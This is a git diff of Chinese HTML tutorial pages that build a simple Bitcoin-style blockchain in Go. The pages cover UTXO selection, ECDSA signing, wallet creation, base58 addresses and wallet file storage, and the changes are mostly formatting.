    func (bc *BlockChain) FindSuitableUTXOs(address string, amount float64) (map[string][]int64, float64) {
         txs := bc.FindUTXOTransactions(address)
    -    validUTXOs := make(map[string][]int64)
    -    var total float64 = 0
    +    validUTXOs := make(map[string][]int64)
    +    var total float64 = 0
     
     CALCULATE:
    -    for _, currentTx := range txs {
    +    for _, currentTx := range txs {
     
    -        for currentIndex, output := range currentTx.TXOutputs {
    -            if output.CanBeUnlockedWith(address) {
    -                if total < amount {
    +        for currentIndex, output := range currentTx.TXOutputs {
    +            if output.CanBeUnlockedWith(address) {
    +                if total < amount {
                         total += output.Value
     
    -                    //indexs := validUTXOs[string(currentTx.TXID)]
    -                    //indexs = append(indexs, int64(currentIndex))
    -                    validUTXOs[string(currentTx.TXID)] = append(validUTXOs[string(currentTx.TXID)], int64(currentIndex))
    +                    //indexs := validUTXOs[string(currentTx.TXID)]
    +                    //indexs = append(indexs, int64(currentIndex))
    +                    validUTXOs[string(currentTx.TXID)] = append(validUTXOs[string(currentTx.TXID)], int64(currentIndex))
     
    -                } else {
    -                    break CALCULATE
    +                } else {
    +                    break CALCULATE
                     }
                 }
             }
         }
     
    -    return validUTXOs, total
    +    return validUTXOs, total
     }
     

    这个函数的功能为:找到指定地址所需金额的UTXO的集合,同时将这些UTXO总额一并返回。

    @@ -3538,36 +3588,36 @@

    1. 参数

    由于我们没有涉及到网络,所以我们手动指定矿工,完成资源分配

    2. 调整代码

    -
    func (cli *CLI)Send(from , to string, amount float64, miner string)  {
    +
    func (cli *CLI)Send(from , to string, amount float64, miner string)  {
         bc := GetBlockChainObj()
         tx := NewTransaction(from, to, amount, bc)
    -    defer bc.db.Close()
    +    defer bc.db.Close()
     
    -    //指定挖矿交易
    -    coinbase := NewCoinbaseTX(miner, "")
    +    //指定挖矿交易
    +    coinbase := NewCoinbaseTX(miner, "")
         bc.AddBlock([]*Transaction{coinbase, tx})
     
    -    fmt.Println("Send Successfully!")
    +    fmt.Println("Send Successfully!")
     }
     

    修改Usage如下(注意,删除了addBlock --data DATA命令)

    image-20221108135611837

    3.参数解析

    -
        case "send":
    -        //send --from FROM --to TO --amount AMOUNT --miner MINER  "send money from FROM to TO"
    -        if len(os.Args) < 10 {
    +
        case "send":
    +        //send --from FROM --to TO --amount AMOUNT --miner MINER  "send money from FROM to TO"
    +        if len(os.Args) < 10 {
                 fmt.Println(Usage)
    -            os.Exit(1)
    +            os.Exit(1)
             }
     
    -        //简单粗暴,缺少校验,先看效果,马上整改
    -        from := os.Args[3]
    -        to := os.Args[5]
    -        amount, _ := strconv.ParseFloat(os.Args[7], 64)
    -        miner := os.Args[9]
    +        //简单粗暴,缺少校验,先看效果,马上整改
    +        from := os.Args[3]
    +        to := os.Args[5]
    +        amount, _ := strconv.ParseFloat(os.Args[7], 64)
    +        miner := os.Args[9]
     
             cli.Send(from, to, amount, miner)
    -    case "printChain":
    +    case "printChain":
             ...
     

    九、第三次测试

    @@ -3583,7 +3633,11 @@

    九、第三次测试

    The balance of duke is : 2.500000 duke ~/Desktop/code/v4$ ./block getBalance --address lily The balance of lily is : 10.000000 - duke ~/Desktop/code/v4$ ./block getBalance --address tom //
    + duke ~/Desktop/code/v4$ ./block getBalance --address tom //<-----账本中没有他,所以为零 +The balance of tom is : 0.000000 + duke ~/Desktop/code/v4$ ./block getBalance --address Tom +The balance of Tom is : 12.500000 +

    测试金额不足情况

    image-20221108135624498

    十、小结

    @@ -3624,7 +3678,7 @@

    十一、下节预告

    @@ -3710,14 +3764,6 @@

    十一、下节预告

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day4-01-v4\350\275\254\350\264\246.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day4-01-v4\350\275\254\350\264\246.html" index 35170d3d..18635475 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day4-01-v4\350\275\254\350\264\246.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day4-01-v4\350\275\254\350\264\246.html" @@ -36,10 +36,6 @@ - - - - @@ -3076,61 +3072,61 @@

    3. ECDSA演示

  • 私钥签名
  • 公钥验证
  • -
    package main
    -
    -import (
    -    "crypto/ecdsa"
    -    "crypto/elliptic"
    -    "crypto/rand"
    -    "fmt"
    -    "log"
    -    "crypto/sha256"
    -    "math/big"
    +
    package main
    +
    +import (
    +    "crypto/ecdsa"
    +    "crypto/elliptic"
    +    "crypto/rand"
    +    "fmt"
    +    "log"
    +    "crypto/sha256"
    +    "math/big"
     )
     
    -//1. 使用椭圆曲线算法生成一对:公钥+私钥
    -//2. 使用私钥进行签名
    -//3. 使用公钥进行校验
    +//1. 使用椭圆曲线算法生成一对:公钥+私钥
    +//2. 使用私钥进行签名
    +//3. 使用公钥进行校验
     
    -//注意,goland内置的椭圆曲线库支持签名校验,不支持公钥加密,私钥解密
    +//注意,goland内置的椭圆曲线库支持签名校验,不支持公钥加密,私钥解密
     
    -func main() {
    -    //1. 使用椭圆曲线算法生成一对:公钥+私钥
    -    // GenerateKey generates a public and private key pair.
    -    //func GenerateKey(c elliptic.Curve, rand io.Reader) (*PrivateKey, error) {
    +func main() {
    +    //1. 使用椭圆曲线算法生成一对:公钥+私钥
    +    // GenerateKey generates a public and private key pair.
    +    //func GenerateKey(c elliptic.Curve, rand io.Reader) (*PrivateKey, error) {
         curve := elliptic.P256()
    -    //研究一下rand.Reader
    +    //研究一下rand.Reader
         randNumber := rand.Reader
    -    fmt.Println("randNumber:", randNumber)
    +    fmt.Println("randNumber:", randNumber)
         privateKey, err := ecdsa.GenerateKey(curve, rand.Reader)
    -    if err != nil {
    +    if err != nil {
             log.Panic(err)
         }
     
    -    //2. 使用私钥进行签名
    -    data := "hello world!"
    -    //func Sign(rand io.Reader, priv *PrivateKey, hash []byte) (r, s *big.Int, err error) {
    +    //2. 使用私钥进行签名
    +    data := "hello world!"
    +    //func Sign(rand io.Reader, priv *PrivateKey, hash []byte) (r, s *big.Int, err error) {
         randNumber1 := rand.Reader
    -    fmt.Println("randNumber1:", randNumber1)
    -    dataHashed := sha256.Sum256([]byte(data))
    +    fmt.Println("randNumber1:", randNumber1)
    +    dataHashed := sha256.Sum256([]byte(data))
         r, s, err := ecdsa.Sign(randNumber1, privateKey, dataHashed[:])
    -    if err != nil {
    +    if err != nil {
             log.Panic(err)
         }
     
    -    signature := append(r.Bytes(), s.Bytes()...)
    -    fmt.Printf("signature : %x\n", signature)
    +    signature := append(r.Bytes(), s.Bytes()...)
    +    fmt.Printf("signature : %x\n", signature)
     
    -    //3. 使用公钥进行校验
    +    //3. 使用公钥进行校验
     
    -    //通过私钥获取公钥
    -    //为什么不能使用Public()函数呢??
    +    //通过私钥获取公钥
    +    //为什么不能使用Public()函数呢??
         publicKey := privateKey.PublicKey
     
    -    //func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
    +    //func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
         flag := ecdsa.Verify(&publicKey, dataHashed[:], r, s)
    -    //flag := ecdsa.Verify(&rawPublicKey, dataHashed[:], r, s)
    -    fmt.Printf("verify result : %v\n", flag)
    +    //flag := ecdsa.Verify(&rawPublicKey, dataHashed[:], r, s)
    +    fmt.Printf("verify result : %v\n", flag)
     }
     

    三、生成比特币地址

    @@ -3149,13 +3145,13 @@

    1. 分析

  • 提供一个方法:由公钥生成地址
  • 2. 定义wallet结构

    -
    //定义钱包结构,包括私钥和公钥
    -type Wallet struct {
    -    //首字母一定要大写,否则后面gob编码时会出错(用于保存)
    +
    //定义钱包结构,包括私钥和公钥
    +type Wallet struct {
    +    //首字母一定要大写,否则后面gob编码时会出错(用于保存)
         PrivateKey ecdsa.PrivateKey
     
    -    //由两个坐标点拼接而成的临时公钥,便于传输,校验时进行拆分,还原成原始的公钥
    -    PublicKey  []byte
    +    //由两个坐标点拼接而成的临时公钥,便于传输,校验时进行拆分,还原成原始的公钥
    +    PublicKey  []byte
     }
     

    由于我们不想在交易中传递公钥本身,想传递[]byte,所以我们将公钥拆分成两个[]byte变量。

    @@ -3164,72 +3160,72 @@

    2. 定义wallet结构

    在verifty时将它再拆成X, Y 两个big.Int 类型的数据,然后拼装成真实的公钥

    (具体方式回忆一下pow时引用的big.Int: Bytes(),setBytes())

    在demo中添加下面的代码并测试:

    -
    func main() {
    +
    func main() {
         ...
         publicKey := privateKey.PublicKey
     
    -    //新增
    -    //拆分成两个数,拼接成一个[]byte进行传递
    -    fmt.Printf("X.Btytes: %x\n", publicKey.X.Bytes())
    -    fmt.Printf("y.Btytes: %x\n", publicKey.Y.Bytes())
    +    //新增
    +    //拆分成两个数,拼接成一个[]byte进行传递
    +    fmt.Printf("X.Btytes: %x\n", publicKey.X.Bytes())
    +    fmt.Printf("y.Btytes: %x\n", publicKey.Y.Bytes())
     
    -    //这个就是即将存储在wallet中的publicKey
    -    publicKeyTmp := append(publicKey.X.Bytes(), publicKey.Y.Bytes()...)
    +    //这个就是即将存储在wallet中的publicKey
    +    publicKeyTmp := append(publicKey.X.Bytes(), publicKey.Y.Bytes()...)
     
    -    //...
    +    //...
     
    -    //传递到接收端
    -    len := len(publicKeyTmp)
    +    //传递到接收端
    +    len := len(publicKeyTmp)
         x := big.Int{}
         y := big.Int{}
    -    //对端接收后进行拆解
    -    x.SetBytes(publicKeyTmp[:len/2])
    -    y.SetBytes(publicKeyTmp[len/2:])
    +    //对端接收后进行拆解
    +    x.SetBytes(publicKeyTmp[:len/2])
    +    y.SetBytes(publicKeyTmp[len/2:])
     
         curve1 := elliptic.P256()
    -    //重新拼出原始的公钥
    +    //重新拼出原始的公钥
         rawPublicKey := ecdsa.PublicKey{curve1, &x, &y}
     
    -    //检验
    +    //检验
         flag := ecdsa.Verify(&rawPublicKey, dataHashed[:], r, s)
    -    fmt.Printf("verify result : %v\n", flag)
    +    fmt.Printf("verify result : %v\n", flag)
     }
     

    3. 创建wallet方法

    -
    //2. 创建钱包结构的方法
    -func NewWallet() *Wallet {
    +
    //2. 创建钱包结构的方法
    +func NewWallet() *Wallet {
         curve := elliptic.P256()
     
    -    //a. 生成私钥
    +    //a. 生成私钥
         privateKey, err := ecdsa.GenerateKey(curve, rand.Reader)
    -    if err != nil {
    +    if err != nil {
             log.Panic(err)
         }
    -    //由私钥生成公钥
    +    //由私钥生成公钥
         rawPubKey := privateKey.PublicKey
    -    //把公钥拆分成[]byte
    -    publicKey := append(rawPubKey.X.Bytes(), rawPubKey.Y.Bytes()...)
    -    return &Wallet{*privateKey, publicKey}
    +    //把公钥拆分成[]byte
    +    publicKey := append(rawPubKey.X.Bytes(), rawPubKey.Y.Bytes()...)
    +    return &Wallet{*privateKey, publicKey}
     }
     

    4. 添加命令(createWallet)

    - 调整代码

    修改Usage:

    -
    const Usage = `
    +
    const Usage = `
         ...
         createWallet "create a new key pair wallet and save into wallet.dat"
    -`
    +`
     

    修改Run函数:

    -
        case "createWallet":
    +
        case "createWallet":
             cli.CreateWallet()
     

    添加CreateWallet函数:

    -
    func (cli *CLI)CreateWallet()  {
    -    //只是打印钱包即可
    +
    func (cli *CLI)CreateWallet()  {
    +    //只是打印钱包即可
         wallet := NewWallet()
    -    fmt.Printf("private key : %x\n", wallet.privateKey)
    -    fmt.Printf("public  key : %x\n", wallet.publicKey)
    +    fmt.Printf("private key : %x\n", wallet.privateKey)
    +    fmt.Printf("public  key : %x\n", wallet.publicKey)
     }
     

    - 测试

    @@ -3244,131 +3240,131 @@

    - 分析

  • 对公钥哈希做base58处理
  • ripe160.tar.gz 解压命令

    -
     tar zxvf ripe160.tar.gz -C $GOPATH/src
    +
     tar zxvf ripe160.tar.gz -C $GOPATH/src
     

    - 代码

    -
    func (w *Wallet) getAddress() []byte {
    -    //a. 对公钥进行哈希处理: RIPEMD160(sha256())
    +
    func (w *Wallet) getAddress() []byte {
    +    //a. 对公钥进行哈希处理: RIPEMD160(sha256())
         ripemdHash := HashPubKey(w.publicKey)
    -    payload := append([]byte{version}, ripemdHash[:]...)
    +    payload := append([]byte{version}, ripemdHash[:]...)
     
    -    //b. 获取校验码: checksum()
    +    //b. 获取校验码: checksum()
         checkCode := checksum(payload)
     
    -    //c. 拼接: version + hash + checksum
    -    pubKeyHash := append(payload, checkCode...)
    -    fmt.Printf("pubKeyHash : %x\n", pubKeyHash)
    +    //c. 拼接: version + hash + checksum
    +    pubKeyHash := append(payload, checkCode...)
    +    fmt.Printf("pubKeyHash : %x\n", pubKeyHash)
     
    -    //d. base58
    +    //d. base58
         address := Base58Encode(pubKeyHash)
    -    return address
    +    return address
     }
     
    -func checksum(payload []byte) []byte {
    +func checksum(payload []byte) []byte {
         hashFirst := sha256.Sum256(payload)
         hashSecond := sha256.Sum256(hashFirst[:])
    -    checkCode := hashSecond[:4]
    -    return checkCode
    +    checkCode := hashSecond[:4]
    +    return checkCode
     }
     
    -func HashPubKey(publicKey []byte) []byte {
    +func HashPubKey(publicKey []byte) []byte {
     
         hash256 := sha256.Sum256(publicKey)
     
         ripemd160Hasher := ripemd160.New()
         _, err := ripemd160Hasher.Write(hash256[:])
    -    if err != nil {
    +    if err != nil {
             log.Panic(err)
         }
     
    -    ripemdHash := ripemd160Hasher.Sum(nil)
    -    return ripemdHash
    +    ripemdHash := ripemd160Hasher.Sum(nil)
    +    return ripemdHash
     }
     

    - base58

    使用内置的库,github上有,是btcd的一个库。

    duke ~/btc/btcd$  git remote -v
    -origin    https://github.com/btcsuite/btcd.git (fetch)
    -origin    https://github.com/btcsuite/btcd.git (push)
    +origin    https://github.com/btcsuite/btcd.git (fetch)
    +origin    https://github.com/btcsuite/btcd.git (push)
     
    -
    import "github.com/btcsuite/btcutil/base58"
    +
    import "github.com/btcsuite/btcutil/base58"
     

    下面这段代码是自己写的base58.go,不稳定,了解即可,不建议使用**

    -
    package main
    +
    package main
     
    -import (
    -    "bytes"
    -    "math/big"
    +import (
    +    "bytes"
    +    "math/big"
     )
     
    -var b58Alphabet = []byte("123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz")
    +var b58Alphabet = []byte("123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz")
     
    -// Base58Encode encodes a byte array to Base58
    -func Base58Encode(input []byte) []byte {
    -    var result []byte
    +// Base58Encode encodes a byte array to Base58
    +func Base58Encode(input []byte) []byte {
    +    var result []byte
     
    -    x := big.NewInt(0).SetBytes(input)
    +    x := big.NewInt(0).SetBytes(input)
     
    -    base := big.NewInt(int64(len(b58Alphabet)))
    -    zero := big.NewInt(0)
    +    base := big.NewInt(int64(len(b58Alphabet)))
    +    zero := big.NewInt(0)
         mod := &big.Int{}
     
    -    for x.Cmp(zero) != 0 {
    +    for x.Cmp(zero) != 0 {
             x.DivMod(x, base, mod)
    -        result = append(result, b58Alphabet[mod.Int64()])
    +        result = append(result, b58Alphabet[mod.Int64()])
         }
     
         ReverseBytes(result)
    -    for b := range input {
    -        if b == 0x00 {
    -            result = append([]byte{b58Alphabet[0]}, result...)
    -        } else {
    -            break
    +    for b := range input {
    +        if b == 0x00 {
    +            result = append([]byte{b58Alphabet[0]}, result...)
    +        } else {
    +            break
             }
         }
     
    -    return result
    +    return result
     }
     
    -// Base58Decode decodes Base58-encoded data
    -func Base58Decode(input []byte) []byte {
    -    result := big.NewInt(0)
    -    zeroBytes := 0
    +// Base58Decode decodes Base58-encoded data
    +func Base58Decode(input []byte) []byte {
    +    result := big.NewInt(0)
    +    zeroBytes := 0
     
    -    for b := range input {
    -        if b == 0x00 {
    +    for b := range input {
    +        if b == 0x00 {
                 zeroBytes++
             }
         }
     
         payload := input[zeroBytes:]
    -    for _, b := range payload {
    +    for _, b := range payload {
             charIndex := bytes.IndexByte(b58Alphabet, b)
    -        result.Mul(result, big.NewInt(58))
    -        result.Add(result, big.NewInt(int64(charIndex)))
    +        result.Mul(result, big.NewInt(58))
    +        result.Add(result, big.NewInt(int64(charIndex)))
         }
     
         decoded := result.Bytes()
    -    decoded = append(bytes.Repeat([]byte{byte(0x00)}, zeroBytes), decoded...)
    +    decoded = append(bytes.Repeat([]byte{byte(0x00)}, zeroBytes), decoded...)
     
    -    return decoded
    +    return decoded
     }
     
    -// ReverseBytes reverses a byte array
    -func ReverseBytes(data []byte) {
    -    for i, j := 0, len(data)-1; i < j; i, j = i+1, j-1 {
    +// ReverseBytes reverses a byte array
    +func ReverseBytes(data []byte) {
    +    for i, j := 0, len(data)-1; i < j; i, j = i+1, j-1 {
             data[i], data[j] = data[j], data[i]
         }
     }
     

    - 测试

    -
    func (cli *CLI)CreateWallet()  {
    -    //只是打印钱包即可
    +
    func (cli *CLI)CreateWallet()  {
    +    //只是打印钱包即可
         wallet := NewWallet()
    -    fmt.Printf("private key : %x\n", wallet.privateKey)
    -    fmt.Printf("public  key : %x\n", wallet.publicKey)
    -    //注意是使用%s打印的
    -       fmt.Printf("address  : %s\n", wallet.getAddress())
    +    fmt.Printf("private key : %x\n", wallet.privateKey)
    +    fmt.Printf("public  key : %x\n", wallet.publicKey)
    +    //注意是使用%s打印的
    +       fmt.Printf("address  : %s\n", wallet.getAddress())
     }
     

    - 结果

    @@ -3378,10 +3374,10 @@

    五、保存私钥对

    我们想要实现同样的功能,定义一个装秘钥钱包的容器Wallets,保存所有的钱包秘钥对。

    1. 定义钱包容器

    新建一个wallets.go文件,使用map存储,key是地址,value是钱包指针,这样就能够将地址和钱包对应上了。

    -
    //定义一个容纳所有钱包的容器
    -type Wallets struct {
    -    //key:地址  value:钱包
    -    WalletsMap map[string]*Wallet
    +
    //定义一个容纳所有钱包的容器
    +type Wallets struct {
    +    //key:地址  value:钱包
    +    WalletsMap map[string]*Wallet
     }
     

    - 分析

    @@ -3393,38 +3389,38 @@

    - 分析

    2. 创建钱包容器

    创建钱包实例并从文件中加载钱包

    -
    //创建钱包容器, 这个函数在commands.go里面调用,负责打开钱包
    -func NewWallets() *Wallets {
    -    //打开钱包
    -    var ws Wallets
    -    ws.WalletsMap = make(map[string]*Wallet)
    -    //加载
    -    //TODO
    -    return &ws
    +
    //创建钱包容器, 这个函数在commands.go里面调用,负责打开钱包
    +func NewWallets() *Wallets {
    +    //打开钱包
    +    var ws Wallets
    +    ws.WalletsMap = make(map[string]*Wallet)
    +    //加载
    +    //TODO
    +    return &ws
     }
     

    3. 提供一个创建新钱包的方法

    对外我们只暴露这个接口即可。

    -
    func (ws *Wallets) CreateWallet() string {
    +
    func (ws *Wallets) CreateWallet() string {
         wallet := NewWallet()
    -    fmt.Printf("string(wallet.getAddress()): %s\n", string(wallet.getAddress()))
    -    address := fmt.Sprintf("%s", wallet.getAddress())
    -    fmt.Printf("Sprintf address %s\n", address)
    +    fmt.Printf("string(wallet.getAddress()): %s\n", string(wallet.getAddress()))
    +    address := fmt.Sprintf("%s", wallet.getAddress())
    +    fmt.Printf("Sprintf address %s\n", address)
     
    -    //直接赋值
    -    ws.WalletsMap[string(wallet.getAddress())] = wallet
    -    return string(wallet.getAddress())
    +    //直接赋值
    +    ws.WalletsMap[string(wallet.getAddress())] = wallet
    +    return string(wallet.getAddress())
     }
     

    4. 测试

    -
    func (cli *CLI) CreateWallet() {
    -    //只是打印钱包即可
    -    //wallet := NewWallet()
    +
    func (cli *CLI) CreateWallet() {
    +    //只是打印钱包即可
    +    //wallet := NewWallet()
         ws := NewWallets()
         address := ws.CreateWallet()
    -    //fmt.Printf("private key : %x\n", wallet.privateKey)
    -    //fmt.Printf("public  key : %x\n", wallet.publicKey)
    -    fmt.Printf("address  : %s\n", address)
    +    //fmt.Printf("private key : %x\n", wallet.privateKey)
    +    //fmt.Printf("public  key : %x\n", wallet.publicKey)
    +    fmt.Printf("address  : %s\n", address)
     }
     

    image-20221108140239573

    @@ -3434,16 +3430,16 @@

    5. 存储到本地

  • 使用ioutil.WriteFile写文件
  • gob四个参数(后三个)必须都是地址
  • -
    func (ws *Wallets) SaveToFile() {
    -    var content bytes.Buffer
    +
    func (ws *Wallets) SaveToFile() {
    +    var content bytes.Buffer
         encoder := gob.NewEncoder(&content)
         err := encoder.Encode(ws)
    -    if err != nil {
    +    if err != nil {
             log.Panic(err)
         }
     
    -    err = ioutil.WriteFile(walletFileName, content.Bytes(), 0644)
    -    if err != nil {
    +    err = ioutil.WriteFile(walletFileName, content.Bytes(), 0644)
    +    if err != nil {
             log.Panic(err)
         }
     }
    @@ -3455,80 +3451,85 @@ 

    5. 存储到本地

    我们钱包中的elliptic.Curve是interface类型的,如图所示:

    image-20221108140311165

    解决办法为:

    -
    func (ws *Wallets) SaveToFile() {
    -    var content bytes.Buffer
    -    gob.Register(elliptic.P256())  //<
    +
    func (ws *Wallets) SaveToFile() {
    +    var content bytes.Buffer
    +    gob.Register(elliptic.P256())  //<<-----加上这句,注册一个interface对象
    +    encoder := gob.NewEncoder(&content)
    +    err := encoder.Encode(ws)
    +    ...
    +}
    +

    重新编译即可通过。

    6. 测试

    7. 从本地加载

    添加函数LoadFromFile,注意要使用地址传递func (ws *Wallets)

    -
    func (ws *Wallets) LoadWalletFromFile() error {
    +
    func (ws *Wallets) LoadWalletFromFile() error {
         _, err := os.Stat(walletFileName)
    -    if os.IsNotExist(err) {
    -        return err
    +    if os.IsNotExist(err) {
    +        return err
         }
     
         content, err := ioutil.ReadFile(walletFileName)
    -    if err != nil {
    -        return err
    +    if err != nil {
    +        return err
         }
     
    -    var wsLocal Wallets
    +    var wsLocal Wallets
         gob.Register(elliptic.P256())
     
         decoder := gob.NewDecoder(bytes.NewReader(content))
         err = decoder.Decode(&wsLocal)
    -    if err != nil {
    -        return err
    +    if err != nil {
    +        return err
         }
     
         ws.WalletsMap = wsLocal.WalletsMap
    -    return nil
    +    return nil
     }
     

    8. 更新NewWallets

    -
    //获得钱包容器实例,加载到内存中
    +
    //获得钱包容器实例,加载到内存中
     func NewWallets() *Wallets {
    -    //打开
    -    //为什么可以返回局部变量的地址啊?? 这特么在C++中就是野指针。
    -    var ws Wallets
    +    //打开
    +    //为什么可以返回局部变量的地址啊?? 这特么在C++中就是野指针。
    +    var ws Wallets
         ws.WalletsMap = make(map[string]*Wallet)
    -    //加载
    -    err := ws.LoadWalletFromFile()
    -    if err != nil {
    +    //加载
    +    err := ws.LoadWalletFromFile()
    +    if err != nil {
             log.Panic(err)
         }
    -    return &ws
    +    return &ws
     }
     

    9. 获取所有地址

    -
    func (ws *Wallets) GetAllAddresses() []string {
    -    var addressContainer []string
    -    for address := range ws.WalletsMap {
    -        addressContainer = append(addressContainer, address)
    +
    func (ws *Wallets) GetAllAddresses() []string {
    +    var addressContainer []string
    +    for address := range ws.WalletsMap {
    +        addressContainer = append(addressContainer, address)
         }
    -    return addressContainer
    +    return addressContainer
     }
     

    10. 添加命令(listAddresses)

    - 调整代码

    修改Usage:

    -
    const Usage = `
    +
    const Usage = `
         ...
         listAddresses "list all addresses in wallet.dat"
    -`
    +`
     

    修改Run:

    -
        case "listAddresses":
    +
        case "listAddresses":
             cli.ListAddresses()
     

    添加函数ListAddresses

    -
    func (cli *CLI) ListAddresses() {
    +
    func (cli *CLI) ListAddresses() {
         ws := NewWallets()
     
    -    for i, address := range ws.GetAllAddresses() {
    -        fmt.Printf("address[%d] : %s\n", i, address)
    +    for i, address := range ws.GetAllAddresses() {
    +        fmt.Printf("address[%d] : %s\n", i, address)
         }
     }
     
    @@ -3561,7 +3562,7 @@

    - 测试

    @@ -3647,14 +3648,6 @@

    - 测试

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day4-02-v5\351\222\261\345\214\205.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day4-02-v5\351\222\261\345\214\205.html" index ca2538b1..d4366caa 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day4-02-v5\351\222\261\345\214\205.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day4-02-v5\351\222\261\345\214\205.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,68 +3019,68 @@

    一、修改交易结构

    职场进阶: https://dukeweb3.com

    1. TXInput

    -
    type TXInput struct {
    -    //引用output所在交易ID
    -    TXID []byte
    +
    type TXInput struct {
    +    //引用output所在交易ID
    +    TXID []byte
     
    -    //应用output的索引值
    -    VoutIndex int64
    +    //应用output的索引值
    +    VoutIndex int64
     
    -    //解锁脚本
    -    //ScriptSig string
    +    //解锁脚本
    +    //ScriptSig string
     
    -    //签名
    -    Signature []byte
    -    //公钥
    -    PublicKey []byte
    +    //签名
    +    Signature []byte
    +    //公钥
    +    PublicKey []byte
     }
     

    2. TXOutput

    -
    type TXOutput struct {
    -    //接收的金额
    -    Value float64
    +
    type TXOutput struct {
    +    //接收的金额
    +    Value float64
     
    -    //锁定脚本
    -    //ScriptPubKey string
    +    //锁定脚本
    +    //ScriptPubKey string
     
    -    //公钥哈希
    -    PublicKeyHash []byte
    +    //公钥哈希
    +    PublicKeyHash []byte
     }
     

    3.检查pubKeyHash是否可以解锁utxo

    可以理解为解锁条件,真正的能解锁与否还要看后面的verify动作(稍后介绍)

    -
    //解锁脚本
    -//存储在output中的其实是公钥的哈希,我们去锁定的时候也是输入地址,然后内部逆向算出哈希存储的
    -func (input *TXInput) CanUnlockUTXOWith(pubKeyHash []byte /*收款人的公钥哈希*/) bool {
    +
    //解锁脚本
    +//存储在output中的其实是公钥的哈希,我们去锁定的时候也是输入地址,然后内部逆向算出哈希存储的
    +func (input *TXInput) CanUnlockUTXOWith(pubKeyHash []byte /*收款人的公钥哈希*/) bool {
         hash := HashPubKey(input.PublicKey)
    -    return bytes.Compare(hash, pubKeyHash) == 0
    +    return bytes.Compare(hash, pubKeyHash) == 0
     }
     

    4.检查utxo是否可以被pubKeyHash解锁

    3,4步两个函数是相对的,辅助功能,用于在遍历交易的时候进行过滤

    -
    //检测是否被某个地址锁定
    -func (output *TXOutput) CanBeUnlockedWith(pubKeyHash []byte /*收款人的公钥哈希*/) bool {
    -    return bytes.Compare(output.PublicKeyHash, pubKeyHash) == 0
    +
    //检测是否被某个地址锁定
    +func (output *TXOutput) CanBeUnlockedWith(pubKeyHash []byte /*收款人的公钥哈希*/) bool {
    +    return bytes.Compare(output.PublicKeyHash, pubKeyHash) == 0
     }
     

    5.锁定脚本

    之前的版本未涉及到锁定,在创建utxo的时候直接赋值为地址就算是锁定了,这里需要逆向求出来pubKeyHash,所以写了个锁定函数

    -
    //锁定脚本
    -func (output *TXOutput) Lock(address string /*付款人的地址*/) {
    -    //先decode58
    -    pubKeyHash := Base58Decode([]byte(address))
    -    //去除掉version和checksum
    -    pubKeyHash = pubKeyHash[1:len(pubKeyHash)-4]
    -    //使用公钥哈希锁定该output
    +
    //锁定脚本
    +func (output *TXOutput) Lock(address string /*付款人的地址*/) {
    +    //先decode58
    +    pubKeyHash := Base58Decode([]byte(address))
    +    //去除掉version和checksum
    +    pubKeyHash = pubKeyHash[1:len(pubKeyHash)-4]
    +    //使用公钥哈希锁定该output
         output.PublicKeyHash = pubKeyHash
     }
     

    6.提供创建NewTXOutput函数

    由于引入了Lock方法,无法像之前一样直接定义结构了,所以需要一个额外的函数。

    -
    func NewTXOutput(value float64, address string) *TXOutput {
    -    txoutput := TXOutput{value, nil}
    +
    func NewTXOutput(value float64, address string) *TXOutput {
    +    txoutput := TXOutput{value, nil}
         txoutput.Lock(address)
    -    return &txoutput
    +    return &txoutput
     }
     

    二、调整代码

    @@ -3093,16 +3089,16 @@

    1.更新NewCoinbaseTX

  • TXInput的pubKey字段添加为矿工输入的数据
  • TXOutput使用NewTXOutput来代替
  • -
    func NewCoinbaseTX(address string, data string) *Transaction {
    +
    func NewCoinbaseTX(address string, data string) *Transaction {
         ...
    -    //比特币系统,对于这个input的id填0,对索引填0xffff,data由矿工填写,一般填所在矿池的名字
    -    input := TXInput{nil, -1, nil, []byte(data)}
    +    //比特币系统,对于这个input的id填0,对索引填0xffff,data由矿工填写,一般填所在矿池的名字
    +    input := TXInput{nil, -1, nil, []byte(data)}
         output := NewTXOutput(reward, address)
     
    -    txTmp := Transaction{nil, []TXInput{input}, []TXOutput{*output}}
    +    txTmp := Transaction{nil, []TXInput{input}, []TXOutput{*output}}
         txTmp.setHash()
     
    -    return &txTmp
    +    return &txTmp
     }
     

    2.更新NewUTXOTransaction

    @@ -3115,20 +3111,20 @@

    2.更新NewUTXOTransaction

  • 使用私钥对交易进行签名
  • 代码如下:

    -
    func NewTransaction(from, to string, amount float64, bc *BlockChain) *Transaction {
    +
    func NewTransaction(from, to string, amount float64, bc *BlockChain) *Transaction {
         ...
    -    //第一步:打开钱包,根据创建人的address找到对应的钱包(银行卡)
    -    //返回当前的钱包容器,加载到内存,注意,不会创建新的秘钥对
    +    //第一步:打开钱包,根据创建人的address找到对应的钱包(银行卡)
    +    //返回当前的钱包容器,加载到内存,注意,不会创建新的秘钥对
         ws, err := NewWallets()
    -    if err != nil {
    -        fmt.Println("no wallet.dat, will create one!")
    +    if err != nil {
    +        fmt.Println("no wallet.dat, will create one!")
         }
     
         wallet := ws.WalletsMap[from]
     
    -    if wallet == nil {
    -        fmt.Printf("本地没有 %s 的钱包,无法创建交易\n", from)
    -        return nil
    +    if wallet == nil {
    +        fmt.Printf("本地没有 %s 的钱包,无法创建交易\n", from)
    +        return nil
         }
     
         privateKey := wallet.PrivateKey
    @@ -3136,39 +3132,39 @@ 

    2.更新NewUTXOTransaction

